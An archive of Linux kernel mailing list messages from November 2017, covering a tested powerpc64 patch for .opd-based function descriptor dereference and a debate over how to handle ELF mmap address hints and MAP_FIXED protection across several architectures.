Xref: news.gmane.org gmane.linux.ports.ia64:28304 gmane.linux.ports.parisc:27970 gmane.linux.ports.ppc64.devel:150183 gmane.linux.kernel:2615298
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28304>

* Sergey Senozhatsky <sergey.senozhatsky@gmail.com> wrote (on 2017-11-10 08:48:27 +0900):

> We are moving towards separate kernel and module function descriptor
> dereference callbacks. This patch enables it for powerpc64.
> 
> For pointers that belong to the kernel
> -  Added __start_opd and __end_opd pointers, to track the kernel
>    .opd section address range;
> 
> -  Added dereference_kernel_function_descriptor(). Now we
>    will dereference only function pointers that are within
>    [__start_opd, __end_opd);
> 
> For pointers that belong to a module
> -  Added dereference_module_function_descriptor() to handle module
>    function descriptor dereference. Now we will dereference only
>    pointers that are within [module->opd.start, module->opd.end).
> 
> Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
> ---
>  arch/powerpc/include/asm/module.h   |  3 +++
>  arch/powerpc/include/asm/sections.h | 12 ++++++++++++
>  arch/powerpc/kernel/module_64.c     | 14 ++++++++++++++
>  arch/powerpc/kernel/vmlinux.lds.S   |  2 ++
>  4 files changed, 31 insertions(+)
>

Looks good on powerpc. If you wish:

Tested-by: Santosh Sivaraj <santosh@fossix.org> # for powerpc

Thanks,
Santosh

> diff --git a/arch/powerpc/include/asm/module.h b/arch/powerpc/include/asm/module.h
> index 6c0132c7212f..7e28442827f1 100644
> --- a/arch/powerpc/include/asm/module.h
> +++ b/arch/powerpc/include/asm/module.h
> @@ -45,6 +45,9 @@ struct mod_arch_specific {
>  	unsigned long tramp;
>  #endif
>  
> +	/* For module function descriptor dereference */
> +	unsigned long start_opd;
> +	unsigned long end_opd;
>  #else /* powerpc64 */
>  	/* Indices of PLT sections within module. */
>  	unsigned int core_plt_section;
> diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
> index 82bec63bbd4f..e335a8f846af 100644
> --- a/arch/powerpc/include/asm/sections.h
> +++ b/arch/powerpc/include/asm/sections.h
> @@ -66,6 +66,9 @@ static inline int overlaps_kvm_tmp(unsigned long start, unsigned long end)
>  }
>  
>  #ifdef PPC64_ELF_ABI_v1
> +
> +#define HAVE_DEREFERENCE_FUNCTION_DESCRIPTOR 1
> +
>  #undef dereference_function_descriptor
>  static inline void *dereference_function_descriptor(void *ptr)
>  {
> @@ -76,6 +79,15 @@ static inline void *dereference_function_descriptor(void *ptr)
>  		ptr = p;
>  	return ptr;
>  }
> +
> +#undef dereference_kernel_function_descriptor
> +static inline void *dereference_kernel_function_descriptor(void *ptr)
> +{
> +	if (ptr < (void *)__start_opd || ptr >= (void *)__end_opd)
> +		return ptr;
> +
> +	return dereference_function_descriptor(ptr);
> +}
>  #endif /* PPC64_ELF_ABI_v1 */
>  
>  #endif
> diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
> index 759104b99f9f..218971ac7e04 100644
> --- a/arch/powerpc/kernel/module_64.c
> +++ b/arch/powerpc/kernel/module_64.c
> @@ -93,6 +93,15 @@ static unsigned int local_entry_offset(const Elf64_Sym *sym)
>  {
>  	return 0;
>  }
> +
> +void *dereference_module_function_descriptor(struct module *mod, void *ptr)
> +{
> +	if (ptr < (void *)mod->arch.start_opd ||
> +			ptr >= (void *)mod->arch.end_opd)
> +		return ptr;
> +
> +	return dereference_function_descriptor(ptr);
> +}
>  #endif
>  
>  #define STUB_MAGIC 0x73747562 /* stub */
> @@ -344,6 +353,11 @@ int module_frob_arch_sections(Elf64_Ehdr *hdr,
>  		else if (strcmp(secstrings+sechdrs[i].sh_name,"__versions")==0)
>  			dedotify_versions((void *)hdr + sechdrs[i].sh_offset,
>  					  sechdrs[i].sh_size);
> +		else if (!strcmp(secstrings + sechdrs[i].sh_name, ".opd")) {
> +			me->arch.start_opd = sechdrs[i].sh_addr;
> +			me->arch.end_opd = sechdrs[i].sh_addr +
> +					   sechdrs[i].sh_size;
> +		}
>  
>  		/* We don't handle .init for the moment: rename to _init */
>  		while ((p = strstr(secstrings + sechdrs[i].sh_name, ".init")))
> diff --git a/arch/powerpc/kernel/vmlinux.lds.S b/arch/powerpc/kernel/vmlinux.lds.S
> index 0494e1566ee2..5dac5ab22fa2 100644
> --- a/arch/powerpc/kernel/vmlinux.lds.S
> +++ b/arch/powerpc/kernel/vmlinux.lds.S
> @@ -278,7 +278,9 @@ SECTIONS
>  	}
>  
>  	.opd : AT(ADDR(.opd) - LOAD_OFFSET) {
> +		__start_opd = .;
>  		*(.opd)
> +		__end_opd = .;
>  	}
>  
>  	. = ALIGN(256);

-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv4 3/6] powerpc64: Add .opd based function descriptor
 dereference
Date: Mon, 13 Nov 2017 18:35:27 +0900
Lines: 40
Approved: news@gmane.org
Message-ID: <20171113093527.GA24353@jagdpanzerIV>
References: <20171109234830.5067-1-sergey.senozhatsky@gmail.com>
 <20171109234830.5067-4-sergey.senozhatsky@gmail.com>
 <20171113071149.crpthceuvtxtzj2s@santosiv.in.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510565737 6612 195.159.176.226 (13 Nov 2017 09:35:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 09:35:37 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>, Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky.work@gmail.com>
To: Santosh Sivaraj <santosh@fossix.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Nov 13 10:35:29 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eEB9L-0007Vv-0M
	for glpi-linux-ia64-2@m.gmane.org; Mon, 13 Nov 2017 10:35:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751153AbdKMJfe (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Mon, 13 Nov 2017 04:35:34 -0500
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:44806 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751066AbdKMJfd (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Mon, 13 Nov 2017 04:35:33 -0500
Original-Received: by mail-pg0-f67.google.com with SMTP id 4so3366823pge.1;
        Mon, 13 Nov 2017 01:35:32 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=3v6qKDgie9TFJPWuUTVFH/Kudmku/PKOcbABkXDtEQY=;
        b=F4vGbM2ZJ/ZmyyRmkGIKiBWfLy8yPCLucPysuxBLRrCWqrjfpH9S1hczF9B9auihNV
         NofAK/IN+M7sMAYQzazLfIndEa0bMkfpywPmuXIq5/1e/qiWGnVcnY421aeeTh0qTQWk
         AkHK/wJvKjcYBhrL3AWk7XRBL/TZw1TI+RO/+3LNJ2qMiusRGnnAuHwv3FRKxSqr3R2f
         MkIQhL93JGkSOV/wRY6Zl3f/yhvNjkLmVcjXWPDKIuTPFMBP1EERJ2MUdwgPf+8Di+KC
         uYN664dwRypqDpHz92NAh7Wrifr2x+LNrlWLySn4zasLAr6GjMHXmbE/tQvAjc/mM594
         DHPA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=3v6qKDgie9TFJPWuUTVFH/Kudmku/PKOcbABkXDtEQY=;
        b=QRPe8QvPJWa9ucT+enUBJ6XscfkvThiyqBpKSx1KvsYnG32kYapX2yYJiT/HCyZU1E
         IYNy33Hnj4P8Qf8Pixd11B8us8FHaiB5KTel4Jj8kv4W/Gd45/9dGqUZdsOvs2cv1yFD
         X3HYk2sM/ME02p6TfafqPIdIiBihrvNBc+WnF4zyXy9kbdZy8p8zh8baOdBb+ywDWOL4
         vt/D6laQwTHnHJ+ubRNx68mlrNQ9kLFmjKD6auJPsZEweVo/9wJORmbcidHAgxpG7/Yl
         Dv3u0oPmomizJHHMblHOOifS2pA1qmmiaF78o7M40Gjn/R8WKIPmqoQd+m/+J6Z/BHQs
         HN6Q==
X-Gm-Message-State: AJaThX58xBsjvdlXYNoZqxgoD7vokOvZuVebnfb4MYvKXh94ja0PCDoq
        BtvCppJk4xBgLyF7e4xuXBU=
X-Google-Smtp-Source: AGs4zMZ9S921PWCUdCKHlmgSe562jTzkPcLnul5y0BCu9s43Cx4PrAihKbJ7JVv8JumYVa/TTDiZvw==
X-Received: by 10.159.208.69 with SMTP id w5mr8314863plz.66.1510565732490;
        Mon, 13 Nov 2017 01:35:32 -0800 (PST)
Original-Received: from localhost ([110.70.59.199])
        by smtp.gmail.com with ESMTPSA id i85sm3869100pfi.54.2017.11.13.01.35.30
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Nov 2017 01:35:31 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20171113071149.crpthceuvtxtzj2s@santosiv.in.ibm.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28305 gmane.linux.ports.parisc:27971 gmane.linux.ports.ppc64.devel:150189 gmane.linux.kernel:2615391
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28305>

On (11/13/17 12:41), Santosh Sivaraj wrote:
> * Sergey Senozhatsky <sergey.senozhatsky@gmail.com> wrote (on 2017-11-10 08:48:27 +0900):
> 
> > We are moving towards separate kernel and module function descriptor
> > dereference callbacks. This patch enables it for powerpc64.
> > 
> > For pointers that belong to the kernel
> > -  Added __start_opd and __end_opd pointers, to track the kernel
> >    .opd section address range;
> > 
> > -  Added dereference_kernel_function_descriptor(). Now we
> >    will dereference only function pointers that are within
> >    [__start_opd, __end_opd);
> > 
> > For pointers that belong to a module
> > -  Added dereference_module_function_descriptor() to handle module
> >    function descriptor dereference. Now we will dereference only
> >    pointers that are within [module->opd.start, module->opd.end).
> > 
> > Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
> > ---
> >  arch/powerpc/include/asm/module.h   |  3 +++
> >  arch/powerpc/include/asm/sections.h | 12 ++++++++++++
> >  arch/powerpc/kernel/module_64.c     | 14 ++++++++++++++
> >  arch/powerpc/kernel/vmlinux.lds.S   |  2 ++
> >  4 files changed, 31 insertions(+)
> >
> 
> Looks good on powerpc. If you wish:
> 
> Tested-by: Santosh Sivaraj <santosh@fossix.org> # for powerpc

thanks!

	-ss
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Mon, 13 Nov 2017 10:42:03 +0100
Lines: 185
Approved: news@gmane.org
Message-ID: <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
References: <20171107162217.382cd754@canb.auug.org.au>
 <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com>
 <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz>
 <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz>
 <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com>
 <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510566130 16911 195.159.176.226 (13 Nov 2017 09:42:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 09:42:10 +0000 (UTC)
User-Agent: NeoMutt/20170609 (1.8.3)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.or
To: Joel Stanley <joel@jms.id.au>
Original-X-From: linux-sh-owner@vger.kernel.org Mon Nov 13 10:42:04 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eEBFg-0006pB-O1
	for glps-linuxsh-dev@m.gmane.org; Mon, 13 Nov 2017 10:42:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751119AbdKMJmI (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Mon, 13 Nov 2017 04:42:08 -0500
Original-Received: from mx2.suse.de ([195.135.220.15]:35898 "EHLO mx2.suse.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750972AbdKMJmG (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Mon, 13 Nov 2017 04:42:06 -0500
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx2.suse.de (Postfix) with ESMTP id 79F81AAA3;
        Mon, 13 Nov 2017 09:42:04 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz>
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55865 gmane.linux.kernel.next:44242 gmane.linux.kernel:2615395 gmane.linux.ports.arm.kernel:613880 gmane.linux.ports.ppc64.devel:150190 gmane.linux.ports.mips.general:62075 gmane.linux.ports.parisc:27972 gmane.linux.ports.sparc:26854
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55865>

On Mon 13-11-17 10:20:06, Michal Hocko wrote:
> [Cc arm and ppc maintainers]

Hmm, it turned out to be a problem on other architectures as well.
CCing more maintainers. For your reference, we are talking about
http://lkml.kernel.org/r/20171023082608.6167-1-mhocko@kernel.org
which has broken architectures which do apply aligning on the mmap
address hint without MAP_FIXED applied. See below my proposed way
around this issue because I belive that the above patch is quite
valuable on its own to be dropped for all archs.

> Thanks a lot for testing!
> 
> On Sun 12-11-17 11:38:02, Joel Stanley wrote:
> > On Fri, Nov 10, 2017 at 11:00 PM, Michal Hocko <mhocko@kernel.org> wrote:
> > > Hi Joel,
> > >
> > > On Wed 08-11-17 15:20:50, Michal Hocko wrote:
> > > [...]
> > >> > There are a lot of messages on the way up that look like this:
> > >> >
> > >> > [    2.527460] Uhuuh, elf segement at 000d9000 requested but the
> > >> > memory is mapped already
> > >> > [    2.540160] Uhuuh, elf segement at 000d9000 requested but the
> > >> > memory is mapped already
> > >> > [    2.546153] Uhuuh, elf segement at 000d9000 requested but the
> > >> > memory is mapped already
> > >> >
> > >> > And then trying to run userspace looks like this:
> > >>
> > >> Could you please run with debugging patch posted
> > >> http://lkml.kernel.org/r/20171107102854.vylrtaodla63kc57@dhcp22.suse.cz
> > >
> > > Did you have chance to test with this debugging patch, please?
> > 
> > Lots of this:
> > 
> > [    1.177266] Uhuuh, elf segement at 000d9000 requested but the  memory is mapped already, got 000dd000
> > [    1.177555] Clashing vma [dd000, de000] flags:100873 name:(null)
> 
> This smells like the problem I've expected that mmap with hint doesn't
> respect the hint even though there is no clashing mapping. The above
> basically says that we didn't map at 0xd9000 but it has placed it at
> 0xdd000. The nearest (clashing) vma is at 0xdd000 so this is our new
> mapping. find_vma returns the closest vma (with addr < vm_end) for the
> given address 0xd9000 so this address cannot be mapped by any other vma.
> 
> Now that I am looking at arm's arch_get_unmapped_area it does perform
> aligning for shared vmas. We do not do that for MAP_FIXED.  Powepc,
> reported earlier [1] seems to suffer from the similar problem.
> slice_get_unmapped_area alignes to slices, whatever that means.
> 
> I can see two possible ways around that. Either we explicitly request
> non-aligned mappings via a special MAP_$FOO (e.g. MAP_FIXED_SAFE) or
> simply opt out from the MAP_FIXED protection via ifdefs. The first
> option sounds more generic to me but also more tricky to not introduce
> other user visible effects. The later is quite straightforward. What do
> you think about the following on top of the previous patch?
> 
> It is rather terse and disables the MAP_FIXED protection for arm
> comletely because I couldn't find a way to make it conditional on
> CACHEID_VIPT_ALIASING. But this can be always handled later. I find the
> protection for other archtectures useful enough to have this working for
> most architectures now and handle others specially.
> 
> [1] http://lkml.kernel.org/r/1510048229.12079.7.camel@abdul.in.ibm.com
> ---
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 61a0cb15067e..018d041a30e6 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -99,6 +99,7 @@ config ARM
 	select PERF_USE_VMALLOC
 	select RTC_LIB
 	select SYS_SUPPORTS_APM_EMULATION
+	select ARCH_ALIGNED_MMAPS
 	# Above selects are sorted alphabetically; please add new ones
 	# according to that.  Thanks.
 	help
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig
index 48d91d5be4e9..eca59d27e9f1 100644
--- a/arch/mips/Kconfig
+++ b/arch/mips/Kconfig
@@ -72,6 +72,7 @@ config MIPS
 	select RTC_LIB if !MACH_LOONGSON64
 	select SYSCTL_EXCEPTION_TRACE
 	select VIRT_TO_BUS
+	select ARCH_ALIGNED_MMAPS
 
 menu "Machine selection"
 
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 22f27ec8c117..8376d16e0a4a 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -40,6 +40,7 @@ config PARISC
 	select GENERIC_CLOCKEVENTS
 	select ARCH_NO_COHERENT_DMA_MMAP
 	select CPU_NO_EFFICIENT_FFS
+	select ARCH_ALIGNED_MMAPS
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/powerpc/platforms/Kconfig.cputype b/arch/powerpc/platforms/Kconfig.cputype
index 2f629e0551e9..156f69c09c7f 100644
--- a/arch/powerpc/platforms/Kconfig.cputype
+++ b/arch/powerpc/platforms/Kconfig.cputype
@@ -368,6 +368,7 @@ config PPC_MM_SLICES
 	bool
 	default y if PPC_STD_MMU_64
 	default n
+	select ARCH_ALIGNED_MMAPS
 
 config PPC_HAVE_PMU_SUPPORT
        bool
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 640a85925060..ac1d4637a728 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -49,6 +49,7 @@ config SUPERH
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_FUTEX_CMPXCHG if FUTEX
 	select HAVE_NMI
+	select ARCH_ALIGNED_MMAPS
 	help
 	  The SuperH is a RISC processor targeted for use in embedded systems
 	  and consumer electronics; it was also used in the Sega Dreamcast
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 0be3828752e5..c265dcda3d28 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -45,6 +45,7 @@ config SPARC
 	select CPU_NO_EFFICIENT_FFS
 	select LOCKDEP_SMALL if LOCKDEP
 	select ARCH_WANT_RELAX_ORDER
+	select ARCH_ALIGNED_MMAPS if SPARC64
 
 config SPARC32
 	def_bool !64BIT
diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index 7ad6d77b2f22..a5cf535034d1 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -30,6 +30,7 @@ config XTENSA
 	select NO_BOOTMEM
 	select PERF_USE_VMALLOC
 	select VIRT_TO_BUS
+	select ARCH_ALIGNED_MMAPS if MMU
 	help
 	  Xtensa processors are 32-bit RISC machines designed by Tensilica
 	  primarily for embedded systems.  These processors are both
diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c
index a22718de42db..d23eb89f31c0 100644
--- a/fs/binfmt_elf.c
+++ b/fs/binfmt_elf.c
@@ -345,13 +345,19 @@ static unsigned long elf_vm_mmap(struct file *filep, unsigned long addr,
 		unsigned long size, int prot, int type, unsigned long off)
 {
 	unsigned long map_addr;
+	unsigned long map_type = type;
 
 	/*
 	 * If caller requests the mapping at a specific place, make sure we fail
 	 * rather than potentially clobber an existing mapping which can have
-	 * security consequences (e.g. smash over the stack area).
+	 * security consequences (e.g. smash over the stack area). Be careful
+	 * about architectures which do not respect the address hint due to
+	 * aligning restrictions for !fixed mappings.
 	 */
-	map_addr = vm_mmap(filep, addr, size, prot, type & ~MAP_FIXED, off);
+	if (!IS_ENABLED(ARCH_ALIGNED_MMAPS))
+		map_type &= ~MAP_FIXED;
+
+	map_addr = vm_mmap(filep, addr, size, prot, map_type, off);
 	if (BAD_ADDR(map_addr))
 		return map_addr;
 
-- 
Michal Hocko
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe@ellerman.id.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: linux-next: Tree for Nov 7
Date: Mon, 13 Nov 2017 22:34:50 +1100
Lines: 39
Approved: news@gmane.org
Message-ID: <87lgjawgx1.fsf@concordia.ellerman.id.au>
References: <20171107162217.382cd754@canb.auug.org.au> <CACPK8Xfd4nqkf=Lk3n6+TNHAAi327r0dkUfGypZ3TpR0LqfS4Q@mail.gmail.com> <20171108142050.7w3yliulxjeco3b7@dhcp22.suse.cz> <20171110123054.5pnefm3mczsfv7bz@dhcp22.suse.cz> <CACPK8Xe5uUKEytkRiszdX511b_cYTD-z3X=ZsMcNJ-NOYnXfuQ@mail.gmail.com> <20171113092006.cjw2njjukt6limvb@dhcp22.suse.cz> <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1510572899 30472 195.159.176.226 (13 Nov 2017 11:34:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Nov 2017 11:34:59 +0000 (UTC)
Cc: Stephen Rothwell <sfr@canb.auug.org.au>,
        Andrew Morton <akpm@linux-foundation.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Russell King <linux@armlinux.org.uk>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Abdul Haleem <abdhalee@linux.vnet.ibm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>,
        linux-arm-kernel@lists.infradead.org,
        linuxppc-dev@lists.ozlabs.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-
To: Michal Hocko <mhocko@kernel.org>, Joel Stanley <joel@jms.id.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 13 12:34:53 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eED0q-0004J3-4g
	for glpp-linux-parisc@m.gmane.org; Mon, 13 Nov 2017 12:34:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752334AbdKMLez (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 13 Nov 2017 06:34:55 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:48971 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751842AbdKMLey (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 13 Nov 2017 06:34:54 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3yb7ph0fr2z9sBW;
        Mon, 13 Nov 2017 22:34:52 +1100 (AEDT)
In-Reply-To: <20171113094203.aofz2e7kueitk55y@dhcp22.suse.cz>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27973 gmane.linux.kernel.next:44249 gmane.linux.kernel:2615482 gmane.linux.ports.arm.kernel:613894 gmane.linux.ports.ppc64.devel:150192 gmane.linux.ports.mips.general:62078 gmane.linux.ports.sh.devel:55867 gmane.linux.ports.sparc:26855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27973>

Hi Michal,

Michal Hocko <mhocko@kernel.org> writes:
> On Mon 13-11-17 10:20:06, Michal Hocko wrote:
>> [Cc arm and ppc maintainers]
>
> Hmm, it turned out to be a problem on other architectures as well.
> CCing more maintainers. For your reference, we are talking about
> http://lkml.kernel.org/r/20171023082608.6167-1-mhocko@kernel.org
> which has broken architectures which do apply aligning on the mmap
> address hint without MAP_FIXED applied. See below my proposed way
> around this issue because I belive that the above patch is quite
> valuable on its own to be dropped for all archs.

I don't really like your solution sorry :)  The fact that you've had to
patch seven arches seems like a red flag.

I think this is a generic problem with MAP_FIXED, which I've heard
userspace folks complain about in the past.

Currently MAP_FIXED does two things:
  1. makes addr not a hint but the required address
  2. blasts any existing mapping

You want 1) but not 2).

So the right solution IMHO would be to add a new mmap flag to request
that behaviour, ie. a fixed address but iff there is nothing already
mapped there.

I don't know the mm code well enough to know if that's hard for some
reason, but it *seems* like it should be doable.

cheers
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:33 2018
X-Mozilla-Status: 0011
